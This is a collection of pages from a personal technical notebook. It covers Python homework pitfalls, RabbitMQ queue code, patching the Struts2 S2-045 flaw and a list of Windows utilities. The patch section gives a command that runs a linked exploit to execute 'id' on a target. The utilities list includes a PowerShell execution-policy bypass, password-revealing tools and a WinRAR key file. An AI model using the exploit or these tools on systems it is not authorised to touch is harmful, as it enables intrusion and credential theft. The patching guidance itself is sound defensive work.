    修改方法:去掉上面的print或者两处print都增加缩进

    继续强调 不要出现中文括号

    顺带强调不要在PTA里解题,先去Python IDLE或者thonny里本地做出来再复制粘贴提交

    你的每次错误提交我都会看,你反复出现同一次错误让我很烦

    你信不信这个错误下次作业还会出现

    错误示例

    ifx<0:
        print("Invalid Value!")
    

    Python的if也不需要括号,直接写就行

    if x<0:
        print("Invalid Value!")
    

    不要出现return 0

    如果你一定要让程序立刻退出,用exit(0),效果等价于C语言main函数里return 0;

    看清题目

    输入实数别用int()

    题目说 输入在一行中给出实数x

    你需要float(input())

    看清题目输入的格式

    比如题目输入的例子是这样的

      1,  5
    

    你就不能用 a,b=input().split()

    而应该 a,b=input().split(',')

    也不应该两次input(),只有输入是两行的时候才能调用两次input

    看清题目的允许范围

    题目说 lower≤upper≤100,那么肯定就会有测试点lower等于upper,这是符合要求的 不要错误的输出了 Invalid.

    复制粘贴题目的文本就行 不要自己敲

    自己输入就容易出错,从题目复制多简单

    不要追求一行写完

    cost = float(input())
    print("Invalid Value!" if m<0 else "cost = "+str(format(0.53 * cost + (0 if cost <= 50 else 0.05 * (cost-50)),'.2f')))
    

    代码是给人看的,这种写法不容易看出哪里出错了,老老实实写if呗

    这个错误是未定义的m

    另外变量的命名,题目输入的是电量,与cost命名不一致,这会让读者困惑(读者很有可能就是以后的你,不要给自己挖坑)

    乘法要写乘号

    错误写法:2i 报错SyntaxError: invalid syntax

    正确写法:2*i

    错误写法:area=sqrt(s(s−a)(s−b)(s−c)) 报错TypeError: 'int' object is not callable

    正确写法:area=sqrt(s*(s−a)*(s−b)*(s−c))

    int用作进制转换 参数是 字符串,整数

    你需要给出正确的类型 否则报错:

    >>> int("100",2)
    4
    
    >>> int(100,2)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: int() can't convert non-string with explicit base
    
    >>> int("100","2")
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: 'str' object cannot be interpreted as an integer
    

    字符串的join 需要每个元素都是字符串

    你不能",".join([1,2,3]) 会报错:TypeError: sequence item 0: expected str instance, int found

    你可以先转换成str: ",".join([str(i) for i in [1,2,3]])

    注意边缘情况

    题目说的 输出格式 要认真体会

    首先顺序输出从A到B的所有整数,每5个数字占一行,每个数字占5个字符宽度,向右对齐。最后在一行中按Sum = X的格式输出全部数字的和X。

       -3   -2   -1    0    1
        2    3    4    5    6
        7    8
    Sum = 30
    

    你考虑到最后一行正好凑满5个整数,你会多输出一个空行吗?

    另外这个题目暗含着 每行末尾不能有空格 的要求,你能用end=' '吗?


    学会自己造数据

    不要满足于题目给的样例,发挥主观能动性自己造数据看看,比如边界值(最大最小)、错误值

    注意输出格式对顺序的要求

    例如查验身份证的题目,输出格式的要求是:按照输入的顺序每行输出1个有问题的身份证号码

    那你就不能这么写两次循环,一遍输出前17位有非数字的,一遍输出校验位不对的,只能一次循环完成

    虽然两次循环逻辑上是对的,却没能满足题目的要求,就答案错误了;恰好题目的样例是先非数字错误再校验位错误,但这只是个样例,样例里的规律只要人家没说一律不算数的!

    如何判断一个字符是整数?

    最简单的方式: x.isdigit()

    也可以: ‘0’<=x<=‘9’

    不建议的方式: 48<=ord(x)<=57 你不是在写C语言,没必要转换为整数判断

    附带知识点:python里 a<x<b 等价于 a<x and x<b

    字符串比较大小是个坑

    这个东西是True还是False?

    "2">"11"
    

    答案是True,震惊!2居然比11大?!

    注意这是两个字符串之间的比较,字符串的比较规则是 逐字符比较,相同就继续比较,遇到一个不相同就得出最终的比较结论

    这里比较第一个字符2和1,2是大于1的,ok比较完成 “2”>”11”。

    同理 “2”>”199999999”,无论9有多少个都不会参与比较。

    举一反三:max(“8”, “9”, “10”)是多少?

    当题目要求整数的排序的时候,一定要用int转成整数

    区分.sort()和sorted

    x=[3,1,2]
    for i in x.sort():
        print(i, end=' ')
    

    上述代码正确吗?会输出1 2 3嘛?

    .sort()返回的是None,不能用来迭代;这是一个原地排序,直接修改原数组,不会创建新的数组

    对于上述代码,你需要用sorted(x);这不会修改原数组,而是创建了一个新的数组

    x=[3,1,2]
    for i in sorted(x):
        print(i, end=' ')
    
    print(x)
    

    输出是1 2 3 [3, 1, 2],可以看出使用sorted不会修改原来的x

    格式化字符串们

    “%5.2f”是啥意思

    >>> "%5.2f"%1.2
    ' 1.20'
    >>> "{:5.2f}".format(1.2)
    ' 1.20'
    >>> "{:>5.2f}".format(1.2)
    ' 1.20'
    

    点就是小数点,点2就是小数点后保留两位小数,前面还有一个5是啥呢,表示整体不够5位就左边用空格补齐5位,注意上述输出左边是有一个空格的。

    如果用format,可以看出写法基本相同,这是右对齐用>

    >>> "%-5.2f"%1.2
    '1.20 '
    >>> "{:<5.2f}".format(1.2)
    '1.20 '
    

    加了一个负号,变成了右边补空格;这是左对齐所以用<

    那我要居中怎么办

    >>> "{:^7s}".format("xyz")
    '  xyz  '
    

    那就用^呗,这是按Shift+6按出来的符号

    格式化字符串想输出几个变量就要写几个

    "{:d}{:>6.1f}".format(fahr, celsius)
    

    这里有两个变量要输出,所以要两个格式化字符串

    Thonny的用法

    在上半部分写代码,改代码,按F5执行后 在下半部分Shell里输入用户的输入,查看输出

    不要在它的Shell里敲入代码,因为它不支持多条语句

    初始化能在循环体内吗?

    比如题目要求没有错误的身份证就输出All Passed!,下面的伪代码错在哪?

    对每一个身份证:
        flag = 1 #1表示没错
        if 身份证错了:
            flag = 0 #只要有一个错了 flag置0
    
    if flag:
        print("All Passed!")
    

    flag=1是一个初始化语句,放在循环里面就会导致每次循环都进行初始化,就变成了只要最后一个身份证没错最后flag就是1,你会错误的输出All Passed!

    变量的初始化需要在进入循环之前做完

    学会拆分问题 大而化小

    题目要求实现aa+aaaa+…+aaa……a(n个a)求和

    拆分成两个问题:怎么得到n个a? 怎么循环从2到n求和?

    不要把这两个问题混在一起思考,如果你不知道可以用字符串乘以整数,那你可以先假设有这么一个函数getna(n, a),累加就是:

    a='5'
    n=4 #实际上需要input(),我们这里就直接写了 需要计算55+5555
    
    s = 0
    for i in range(2, n+1, 2):
        s += getna(a, i)
    

    然后我们再去实现getna这个函数,这个函数就干一件事情——输入a和n,输出aaa…a(n个a)这么一个整数

    输入a=‘5’,n=4,输出5555

    这次我用循环乘法,可以看成5 + 5*10 + 5*10*10 + 5*10*10*10 每次循环都是5乘以一个数,这个数从1开始 每次循环后乘以10

    def getna(a, n):
        # 这里我们需要a也是一个整数
        a, n = int(a), int(n) #防御性编程,你不知道调用者是否给了需要的类型,反正转换一下不费事
        multiply = 1
        res = 0
        for i in range(n):
            res += a*multiply
            multiply *= 10
        return res
    

    测试一下自己对不对:

    >>> getna("5",4)
    5555
    

    最后把两部分拼起来就行咯

    def getna(a, n):
        # 这里我们需要a也是一个整数
        a, n = int(a), int(n) #防御性编程,你不知道调用者是否给了需要的类型,反正转换一下不费事
        multiply = 1
        res = 0
        for i in range(n):
            res += a*multiply
            multiply *= 10
        return res
    
    a='5'
    n=4
    
    s = 0
    for i in range(2, n+1, 2):
        s += getna(a, i)
    
    print(s)
    

    当然这个题目有简化做法:

    n个a这个整数用 字符串乘以数字得到字符串 再int转整数int(str(a)*int(n))

    从2到n每次递增2,用range(2,n+1,2)

    本质上是一个列表求和,所以可以直接用sum函数,range返回的东西可以看成一个列表,列表转换成另一个列表用列表推导式就行 写法:[something(i) for i in …]

    a='5'
    n=4
    print( sum([ int(str(a)*int(i)) for i in range(2,n+1,2) ]) )
    

    混在一起的and和or

    and的优先级比or高

    x=5
    y=False
    z=False
    
    print(x or y and z)
    

    这个等价于print(x or (y and z)) 先计算False and False是False,然后x or False因为x是真的 结果就是x

    输出5

    a and b

    返回的只可能是a和b之间的一个,a是真的就返回b,a是假的就返回a

    >>> 1 and 6
    6
    >>> [] and 6
    []
    

    a or b

    返回的只可能是a和b之间的一个,a是真的就返回a,a是假的就返回b

    >>> 1 or 6
    1
    >>> [].sort() or 6
    6
    

    还记得上面说的.sort()返回None吗? None是假的噢

    哪些东西是假的?

    0是假的,空的东西'', [], {}是假的,False是假的,None是假的,其他的都是真的

    搜索python False values可以搜到 https://docs.python.org/3/library/stdtypes.html

    Any object can be tested for truth value, for use in an if or while condition or as operand of the Boolean operations below.

    By default, an object is considered true unless its class defines either a bool() method that returns False or a len() method that returns zero, when called with the object. 1 Here are most of the built-in objects considered false:

    • constants defined to be false: None and False.

    • zero of any numeric type: 0, 0.0, 0j, Decimal(0), Fraction(0, 1)

    • empty sequences and collections: ‘’, (), [], {}, set(), range(0)

    Operations and built-in functions that have a Boolean result always return 0 or False for false and 1 or True for true, unless otherwise stated. (Important exception: the Boolean operations or and and always return one of their operands.)


    行末到底要不要输出空格

    方法是复制一下题目的输出样例,看看到底最后有没有空格

    怎样做到末尾不输出空格

    如果可以输出空格,简单 循环里面print(item, end=’ ‘)就行

    举个例子吧,题目要求我们输出1 2 3 ,末尾要有空格

    用print记得end参数要写上,否则就换行了

    for i in range(1, 4):
        print(i, end=' ')
    

    方案1:把要输出的东西暂时存到数组result里,最后print(*result)

    题目要求我们输出1 2 3,末尾不能有空格

    result=[]
    for i in range(1, 4):
        result.append(i)
    print(*result)
    

    这里用到了符号*,在调用函数的时候使用星号表示把这个数组拆开,数组的每个元素都作为函数的参数

    假设result=[1,2,3]print([1,2,3])会输出[1, 2, 3] 两边有方框 不是我们要的

    试试print(*[1,2,3]) 会输出1 2 3 它就等价于print(1,2,3)

    看,列表的每个元素从数组的束缚中解脱出来,直接当成print的参数了!

    方案2:区分首元素和其后的元素

    比如要输出1 2 3,我们这么看待:1/空格2/空格3

    为啥这样看呢?为啥不看成是1空格/2空格/3呢?因为循环啥时候结束很可能是你不知道的,你就无法判断当前元素是不是最后一个。

    但是你一定知道哪个元素是第一个元素啊!

    isfirst=True
    for i in range(1, 4):
        if isfirst: # 第一个元素
            print(i, end='')
            isfirst=False
        else: # 后续的元素 先输出一个空格
            print('', i, end='') #等价于print(' '+str(i), end='')
    

    如何正确地换行 print(‘\n’)是不行的

    上面我们都是在一行里输出,现在我们要开始下一行了,你很可能想print('\n')

    这个实际上是print('\n', end='\n') 因为你没有提供end参数,end就默认是一个换行,你自己又显示了个换行,那就是两个\n了!

    两个\n!先进入下一行,再进入下一行,不就显示了一个多余的空行了嘛!

    解决方案:print()多简单

    循环初始化 放在正确的位置

    循环依赖的变量的初始化——一定要在循环开始之前做!不能在外面循环之前做!

    t=int(input())
    cnt=0
    lst=[] #储存结果最后一起输出
    for i in range(t):
        n=int(input())
        mat=[]
        for j in range(n):
            mat.append(input().split())
        for row in range(1,n):
            for col in range(0,n-1):
                if row>col and mat[row][col]=='0':
                    cnt+=1
        if cnt==(n**2-n)/2:
            str="YES"
        else:
            str="NO"
        lst.append(str)
    for z in lst:
        print(z)
    

    例如这个判断上三角的,先看这代码的本质——循环里面有循环,外层循环(range t)是多个矩阵,内层循环(row和col)用来遍历矩阵

    那问题来了,内层循环的cnt作用在单个矩阵里面,不同矩阵之间不能相互干扰,也就是说cnt应该在进入row循环之前初始化!把cnt=0移动到第9行之前即可

    再打个比方,我们要计算多个班级分别的平均分,需要对班级内的每个学生累加到sum_score,那你就需要在 进入这个班级的循环后 对班级内每个学生遍历的循环前 对sum_score 进行初始化 sum_score=0;如果你提早做了,上个班级的总分就会加入到下个班级,不合适吧

    n=int(input())
    data=[int(input()) for i in range(n)]
    a=2
    for i in data:
        while a<i:
            if i%a==0:
                print('No')
                break
            a=a+1
        else:
            print('Yes')
    

    这是另一个例子,判断素数,每个素数的判断应该是独立的,需要把a=2移动到for i in data:循环开始之后 while a<i循环开始之前

    简而言之:哪个循环负责这个变量,就在这个循环之前做初始化,保证外层循环互不干扰

    填空题别出现中文引号

    别以为别的题目文本里出现了中文引号你就能用,题目不严谨不代表你能不严谨

    怎么正确地判断素数

    如果你还不会,建议背下来标准答案:只要遇到需要判断素数的题目,先默写这个isPrime函数

    记忆口诀:1不是,2是,从2到(根号n) + 1

    import math
    def isPrime(n):
        if n==1:
            return False
        if n == 2:
            return True
        for i in range(2, int(math.sqrt(n)+1)):
            if n%i==0:
                return False
        return True
    

    不要把素数判断的代码和其他代码混在一起,求求你写个函数吧! 写了函数之后你可以自己调用函数去测试啊,如图所示,我写了之后就会自己构造一些数据去测试。 测试 测试 测试

    >>> import math
    >>> def isPrime(n):
    ...     if n==1:
    ...         return False
    ...     if n == 2:
    ...         return True
    ...     for i in range(2, int(math.sqrt(n)+1)):
    ...         if n%i==0:
    ...             return False
    ...     return True
    ...
    >>> isPrime(1)
    False
    >>> isPrime(2)
    True
    >>> isPrime(3)
    True
    >>> isPrime(4)
    False
    >>> isPrime(5)
    True
    >>> isPrime(6)
    False
    >>> isPrime(101)
    True
    >>> isPrime(100)
    False
    

    运行超时怎么破?

    记住判断素数可以开根号啊!

    不要从2到n-1,根号n就行了

    题目给的上界一定会有测试点

    验证哥德巴赫猜想一题

    题目说 输入在一行中给出一个(2, 2 000 000 000]范围内的偶数N。

    哇 好多0,数一数这是20亿啊,放一个这么大的上界在这里干啥啊?只是好看嘛?

    肯定是有一个测试点会输入这个20亿,你自己本地测试你的代码就一定要试试

    然后就发现你的程序好久没反应,就应该优化了

    想想怎么简化计算

    还是哥德巴赫猜想这个题目,你觉得需要求出小于N的所有素数嘛?然后在这个素数数组里求求和?

    当然这个方法没错,只是太慢了,要求出20亿以内的所有素数,这个太贵了(太耗时了,时间就是金钱啊)

    我们的目标只是给出一个N=p+q就行,只要从2开始找素数p,然后验证N-p也是素数即可

    Python Homework Review

    PDF下载

    提纲:

    • Python和C语言不同的地方
    • 程序输出啥?把自己当成Python解释器 写草稿
    • 局部变量 函数里被赋值了的就是局部变量
    • 对齐 {0:T^20} 用T补齐20位 居中

    编程题考试技巧:

    • 一步步写,写一点就侧一点
    • 内置函数熟练掌握 如sum
    • 注意空格 不要浪费时间在格式错误上
    • 仔细读题 一遍不行多读几遍
    • 看看上界(一般用不着)
    • 提取出函数,降低思维负担
    • 递归函数怎么写?想清楚 参数 返回值 的含义
    • 实在搞不定?别放弃,骗分!

    需要记住点啥?

    • 类型:input()返回的是字符串,用int, float转换;用isinstance判断类型;哪些是False
    • 数字:除以0的异常,进制转换,判断素数,格式化输出,优先级
    • 字符串:len,upper,lower,strip,split,join
    • 列表:append,index,sorted(key=lambda i:-i),数组的数组,分片,[::-1],列表推导式
    • 字典:keys,items,update
    • 循环:range,for i in …,while …,变量初始化
    • 函数:传递一个列表?(引用传递)局部变量,全局变量
    • tuple;set;文件;类
    ================================================ FILE: docs/RabbitMQ/index.html ================================================ RabbitMQ - notebook

    RabbitMQ 消息队列

    Docker部署

    • 必须设置主机名 –hostname
    • 数据卷映射
    • 使用macvlan分配IP
    • 配置用户密码

    配置用户密码必须要求数据文件夹为空,否则不会生效

    rm -rf /docker/rabbitmq/
    
    docker run -d --hostname rabbit --name rmq -v /docker/rabbitmq/:/var/lib/rabbitmq --network macvlan_bridge --ip 192.168.1.18 --dns 192.168.1.1 -e RABBITMQ_DEFAULT_USER=user -e RABBITMQ_DEFAULT_PASS=password rabbitmq
    

    消费者竞争的任务推送执行

    例如发送参数1,2到消费者执行add(a,b)函数,每个消费者最多接受一个任务

    config.py 配置信息

    与上述docker启动时配置的一致

    RMQ_HOST = "192.168.1.18"
    RMQ_PORT = 5672
    RMQ_USER = "user"
    RMQ_PASSWORD = "password"
    

    task.py 发送任务

    #!/usr/bin/env python
    import pika
    import sys
    import json
    from config import RMQ_HOST,RMQ_PORT,RMQ_USER,RMQ_PASSWORD
    QUEUE_NAME = 'add_task_queue'
    
    params = pika.ConnectionParameters(
            host=RMQ_HOST, 
            port=RMQ_PORT, 
            credentials=pika.credentials.PlainCredentials(RMQ_USER, RMQ_PASSWORD)
        )
    connection = pika.BlockingConnection(params)
    channel = connection.channel()
    
    channel.queue_declare(queue=QUEUE_NAME, durable=True)
    
    def queue_put(func_args): 
        #func_args:函数参数list
        message = json.dumps(func_args)
        return channel.basic_publish(exchange='',
                              routing_key=QUEUE_NAME,
                              body=message,
                              properties=pika.BasicProperties(
                                 delivery_mode = 2, # make message persistent
                              ))
    
    if __name__ == '__main__':
        queue_put([1,2])
        connection.close()
    

    查看队列状态

    查看队列名称 准备发送的数量 没有ack的数量

    docker exec rmq rabbitmqctl list_queues name messages_ready messages_unacknowledged
    

    worker.py 执行任务

    #!/usr/bin/env python
    import pika
    import time
    import json
    from config import RMQ_HOST,RMQ_PORT,RMQ_USER,RMQ_PASSWORD
    QUEUE_NAME = 'add_task_queue'
    
    params = pika.ConnectionParameters(
            host=RMQ_HOST, 
            port=RMQ_PORT, 
            credentials=pika.credentials.PlainCredentials(RMQ_USER, RMQ_PASSWORD)
        )
    connection = pika.BlockingConnection(params)
    channel = connection.channel()
    
    channel.queue_declare(queue=QUEUE_NAME, durable=True)
    print(' [*] Waiting for messages. To exit press CTRL+C')
    
    def add(a, b):
        return a+b
    
    def save_result(args, result):
        print("save_result for", args, ":", result)
        pass # using mysql or whatever storage...
    
    def callback(ch, method, properties, body):
        print(" [x] Received %r" % body)
        args = json.loads(body.decode())
        result = add(*args)
        save_result(args, result)
        print(" [x] Done")
        ch.basic_ack(delivery_tag = method.delivery_tag)
    
    channel.basic_qos(prefetch_count=1)
    channel.basic_consume(callback,
                          queue=QUEUE_NAME)
    
    channel.start_consuming()
    

    代码来自官方教程: https://www.rabbitmq.com/tutorials/tutorial-two-python.html

    ================================================ FILE: docs/S2-045/index.html ================================================ S2-045 - notebook

    修复Struts2的S2-045漏洞

    漏洞简介

    最近批露,Apache Struts 2软件存在远程命令执行高危漏洞,Struts2官方已经确认该漏洞,漏洞编号为CVE-2017-5638,受影响的版本包括 Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10 。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。

    目前,Struts 2软件作为网站开发的底层模板使用,特别是互动性较强的用于报名、注册、查询、留言的信息系统,我国内超过300万家政府网站及其子站使用了Struts框架。鉴于Struts 2应用广泛、黑客关注度较高、漏洞危害较大、攻击方式简单,一旦被别有用心人员利用,可能对我网络安全造成较大的危害和影响,建议各重要行业部门及时督促核查本部门、本行业、本辖区网站安全情况,及时堵塞漏洞,消除安全隐患,提高安全防范能力,并及时上报核查及整改情况。


    exp

    首先丢个exp,用于检验漏洞存在性:exp.S2-045.py

    使用方法示例:

    python exp.S2-045.py http://example.com/example.action "id"
    

    解决过程

    翻遍了官网和各种新闻,没有切实可行的方案,下载地址只有存在漏洞的2.3.31的版本,漏洞修复方案都是简略的一句升级到2.3.32,某些播报平台&官方真是mdzz,到底是为了促进漏洞修补还是促进全网被黑?

    官方只是给了一个maven的配置方法,并没有直接可以下载的jar文件或zip包

    只能按照官方的方法用maven去尝试构建一个struts应用(快速装好maven的方法是买个香港的vps用docker pull maven),总算发现了新版的jar包下载地址:

    https://repo.maven.apache.org/maven2/org/apache/struts/

    通过下载2.3.31核心包发现只有struts2-core是需要的。


    通过升级jar包修复

    2.3.x版本修复方法

    下载2.3.32版本的jar文件

    https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar

    国内CDN下载地址: https://d.py3.io/struts2-core-2.3.32.jar

    假设服务器上用的是2.3.30版本,则tomcat所在目录/webapps/应用名称/WEB-INF/lib里面有一个struts2-core-2.3.30.jar

    修复方法就是①把上述文件删掉(自行备份),②下载到的新版jar文件改名为同名文件,③上传替换,④重启tomcat即可

    Tip: 替换后要保证旧版的jar文件不存在,例如移到上一级目录,不要把旧版本的jar改名留在lib目录下,否则将导致这个webapp无法启动

    2.5.x版本修复方法

    下载2.5.10.1版本的jar文件

    https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.5.10.1/struts2-core-2.5.10.1.jar

    国内CDN下载地址:https://d.py3.io/struts2-core-2.5.10.1.jar

    假设服务器上用的是2.5.10版本,则tomcat所在目录/webapps/应用名称/WEB-INF/lib里面有一个struts2-core-2.5.10.jar

    修复方法同上


    通过增加Filter修复

    如果不方便替换jar包,可以通过本方法进行拦截攻击请求

    ① 将以下SecurityFilter.java文件编译成SecurityFilter.class,注意编译之前设置项目的兼容性级别,选择服务器版本的jdk,复制到应用的WEB-INF/classes目录下。

    import java.io.IOException;
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    
    
    public class SecurityFilter extends HttpServlet implements Filter {
    
        private static final long serialVersionUID = 1L;
    
    
        public final String www_url_encode= "application/x-www-form-urlencoded";
        public final String mul_data= "multipart/form-data";
        public final String txt_pla= "text/plain";
    
        public void doFilter(ServletRequest arg0, ServletResponse arg1,
                FilterChain arg2) throws IOException, ServletException {
    
            HttpServletRequest request = (HttpServletRequest) arg0;
            HttpServletResponse response = (HttpServletResponse) arg1;
    
            String contentType=request.getHeader("Content-Type");
    
            if(contentType!=null&&!contentType.equals("")&&!contentType.equalsIgnoreCase(www_url_encode)&&!contentType.equalsIgnoreCase(mul_data)&&!contentType.equalsIgnoreCase(txt_pla)){
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("非法请求Content-Type!");
                return;
            }
            arg2.doFilter(request, response);
        }
    
        public void init(FilterConfig arg0) throws ServletException {
        }
    }
    

    假设服务器上的java -version告诉我们java的版本是1.7的,手里又没有当前网站的项目文件,需要这样进行编译:

    eclipse新建一个工程,新建类复制以上代码,项目属性的Java Build Path中的Libraries添加tomcat中的servlet-api.jarJava Complier页面中选择Complier compliance level为1.7

    eclipse自动通过编译后,即可将此SecurityFilter.class文件传至服务器上的应用的WEB-INF/classes目录下。

    这里有我已经编译好的class文件:1.6 1.7 1.8

    ② 将下面的代码加入WEB-INF/web.xml文件的第一个filter之前。

    操作之前请记得备份

    <filter>
        <filter-name>SecurityFilter</filter-name>
        <filter-class>SecurityFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>SecurityFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    

    如图所示

    S2-045_filter.jpg

    ③ 重启应用即可

    重启可以在tomcat的manager页面Reload应用,或者直接重启整个tomcat

    如果应用无法启动,在tomcat下有logs目录可以看到为啥出错

    测试效果


    期待一个更负责任的漏洞披露过程,期待一个更加安全的互联网

    Author: zjuchenyuan

    Source: https://py3.io/S2-045.html

    ================================================ FILE: docs/Ubuntu/index.html ================================================ Ubuntu - notebook

    Ubuntu桌面版使用

    使用ubuntu16.04桌面版的一些折腾

    安装Google拼音并配置代理

    安装请参考这篇文章-ubuntu安装谷歌拼音输入法

    其中在im-config切换为fcitx后,无需重启,只需要注销后再次登录即可(注销不会影响screen中的任务)

    安装后最为有用的云候选功能由于需要配置代理才能用,配置方法: 打开一个terminal(建议启动一个screen),配置环境变量,然后重启fcitx:

    export http_proxy="http://127.0.0.1:8118"
    export https_proxy="http://127.0.0.1:8118"
    fcitx -r
    
    ================================================ FILE: docs/WindowsSoftware/index.html ================================================ WindowsSoftware - notebook

    Windows Software

    自己日常用到的一些工具咯


    Emeditor

    https://www.emeditor.com/

    下载:http://files.emeditor.com/emed64_16.3.1.exe

    打开超大文件,语法高亮,批处理替换等好用的功能

    Everything

    https://www.voidtools.com/

    下载:https://www.voidtools.com/Everything-1.4.1.809b.x64.zip

    快速全盘搜索,不知道比windows自带的搜索快到哪里去了

    Sysinternals Utilities

    https://technet.microsoft.com/en-us/sysinternals/bb545027

    任务管理器 https://download.sysinternals.com/files/ProcessExplorer.zip

    CLOC代码统计利器

    下载:https://github.com/AlDanial/cloc/releases/download/v1.70/cloc-1.70.exe

    Cloc是一款使用Perl语言开发的开源代码统计工具,支持多平台使用、多语言识别,能够计算指定目标文件或文件夹中的文件数(files)、空白行数(blank)、注释行数(comment)和代码行数(code)。

    还右键菜单一份清净

    MenuMgr

    文件夹背景右键添加bash

    发现自己经常需要在当前路径下打开bash,之前我都是在地址栏输入bash回车 但这样的副作用是不能再方便地复制当前路径了

    现在我将bash添加到右键菜单 只需鼠标点击两次即可打开bash

    regedit定位到

    计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\
    

    新建项bash 再在bash中新建项command 修改command的默认为bash

    顺带可以把在此处打开命令窗口给显示出来:同一个文件夹里面有个cmd 但还有一些其他项 删掉即可

    如果修改注册表没有权限,右键改权限 先改所有者再对everyone允许完全控制即可

    软媒U盘启动盘制作

    usbbooter.exe

    WinRAR

    压缩解压缩,我只用WinRAR和7zip

    winrar.exe

    winrar32bit.exe

    rarreg.key

    BurpSuite

    发现app的漏洞啥的,还是挺有用的~

    burpsuite v1.7.11.zip

    使用方法:安装Java,启动后设置监听在所有网卡,导出证书CA.crt发送到手机,手机导入证书,手机忘记Wifi后连接wifi时设置代理,手机启动APP,查看流量咯~

    BEncode Editor

    创建/编辑种子信息,做一个勤奋的搬运工…

    BEncode Editor.exe

    Win10 Windows照片查看器

    From: http://www.xitongcheng.com/jiaocheng/win10_article_12240.html

    Win+R打开regedit,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations

    右键,新建字符串值,命名为.jpg,值为PhotoViewer.FileAssoc.Tiff

    我的情况是原先有.tif和.tiff的,还需要新建这些后缀名.jpeg .bmp .png .gif

    创建后再看打开方式就有了Windows照片查看器

    星号密码查看

    一般是用不着 AsteriskPassword.exe

    远程连接密码查看

    mstscpass.exe

    GHO文件查看

    也是很久没用了啊 Ghostexp.exe

    文件哈希计算

    Linux下直接用md5sum sha1sum就够了

    Hash.exe

    tcping 检测端口是否开放

    一直ping的用法: tcping -t py3.io 443

    tcping.exe

    Nginx 1.11.8

    nginx.zip


    Bash On Win10

    mount挂载其他分区

    mount -t drvfs D: /mnt/d
    

    VMware vCenter Converter

    无需关机,无需移动硬盘将物理机转为虚拟机镜像

    基于Windows的卷影复制功能

    http://www.softpedia.com/get/System/System-Miscellaneous/VMware-Converter.shtml


    命令行开关蓝牙 powershell

    参考: https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/https://superuser.com/questions/1168551/turn-on-off-bluetooth-radio-adapter-from-cmd-powershell-in-windows-10

    绕过powershell执行安全策略参考: https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

    将这个保存为b.ps1

    [CmdletBinding()] Param (
        [Parameter(Mandatory=$true)][ValidateSet('Off', 'On')][string]$BluetoothStatus
    )
    If ((Get-Service bthserv).Status -eq 'Stopped') { Start-Service bthserv }
    Add-Type -AssemblyName System.Runtime.WindowsRuntime
    $asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]
    Function Await($WinRtTask, $ResultType) {
        $asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
        $netTask = $asTask.Invoke($null, @($WinRtTask))
        $netTask.Wait(-1) | Out-Null
        $netTask.Result
    }
    [Windows.Devices.Radios.Radio,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null
    [Windows.Devices.Radios.RadioAccessStatus,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null
    Await ([Windows.Devices.Radios.Radio]::RequestAccessAsync()) ([Windows.Devices.Radios.RadioAccessStatus]) | Out-Null
    $radios = Await ([Windows.Devices.Radios.Radio]::GetRadiosAsync()) ([System.Collections.Generic.IReadOnlyList[Windows.Devices.Radios.Radio]])
    $bluetooth = $radios | ? { $_.Kind -eq 'Bluetooth' }
    [Windows.Devices.Radios.RadioState,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null
    Await ($bluetooth.SetStateAsync($BluetoothStatus)) ([Windows.Devices.Radios.RadioAccessStatus]) | Out-Null
    

    开启蓝牙:

    powershell -ExecutionPolicy Bypass -File ./b.ps1 -BluetoothStatus On
    

    关闭就是Off


    文件夹背景右键直接显示bash

    默认需要按住Shift右键才会显示

    HKEY_CLASSES_ROOT\Directory\Background\shell\WSL

    删除其中的Extended项即可,可能没有权限需要先获得所有权再给自己权限,参考

    附上默认的command:

    wsl.exe --cd "%V"
    powershell.exe -noexit -command Set-Location -literalPath '%V'
    cmd.exe /s /k pushd "%V"
    

    sshfs挂载远程目录

    https://github.com/billziss-gh/sshfs-win

    相比玄学的windows共享,还是ssh更加简单靠谱,只是有时候ssh.exe会CPU100%卡住,需要任务管理器kill

    使用前需要先让ssh开启密码验证,你可以使用ssh -i /dev/null去连接测试能否登录

    可以用多个..\挂载上级目录

    net use h: \\sshfs\root@ip!2222\..\
    

    命令行windows时间同步

    参考: https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/how-to-force-windows-10-time-to-synch-with-a-time/20f3b546-af38-42fb-a2d0-d4df13cc8f43

    net start w32time
    w32tm /register
    w32tm /resync
    

    同时,你可能想要将Windows Time服务设置为自动启动


    Windows激活

    查看激活信息:

    slmgr.vbs /dli
    

    设置kms服务器地址:

    slmgr.vbs /skms 10.203.8.58
    slmgr.vbs /ato
    

    查看过期时间:

    slmgr.vbs /xpr
    

    查看BitLocker加密进度

    新的win10里不会在UI显示加密进度,只能靠管理员权限的命令行查询:

    manage-bde -status


    找回消失的窗口

    参考 Windows系统窗口消失之谜及解决方法

    感叹一下windows的向下兼容做得真好,2009年的文章现在仍然有效

    Win10任务栏右键没法对窗口进行移动了,解决方案是点击后Alt+空格,然后按M,按方向键,再移动鼠标即可

